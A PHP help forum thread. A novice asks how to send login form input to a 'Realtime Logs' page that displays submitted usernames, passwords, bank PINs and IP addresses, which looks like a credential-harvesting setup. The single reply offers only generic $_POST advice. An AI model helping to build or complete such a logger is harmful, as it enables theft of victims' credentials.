Jump to content

Need help with $_POST


Zizzled

Recommended Posts

Alright so basicly i have an HTML Document with a Login and Password field. (Code is too long to post)

 

 

I want to make the two details be posted on a HTML Document.

 

<html>

<head>

<title>

Realtime Logs

</title>

</head>

<body>

<META HTTP-EQUIV="refresh" CONTENT="5">

<br>

Username:<?php echo $_REQUEST["username"]; ?><br />

Password:<?php echo $_REQUEST["password"]; ?><br />

Bank Pin:<?php echo $_REQUEST["bankpin"]; ?><br />

IP Address:<?php echo $_REQUEST["$ip"]; ?><br />

 

</form>

</body>

</html>

 

 

I want to take the variables from my index with the username and password, but i have no idea how to make it send to the HTML above. I've been successful at making them appear at the HTML above, but it would be under the

Username:<?php echo $_REQUEST["username"]; ?><br />

Password:<?php echo $_REQUEST["password"]; ?><br />

Bank Pin:<?php echo $_REQUEST["bankpin"]; ?><br />

IP Address:<?php echo $_REQUEST["$ip"]; ?><br />

and not replace it. Help please?

 

BTW im new to php ;)

Link to comment
Share on other sites

Your explanation is a bit rough. To begin with, avoid using $_REQUEST, as this is populated with not just POST data but GET data as well and can lead to unexpected results. If you want post data, use $_POST and same applies to $_GET, only use it if that is what you are expecting.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.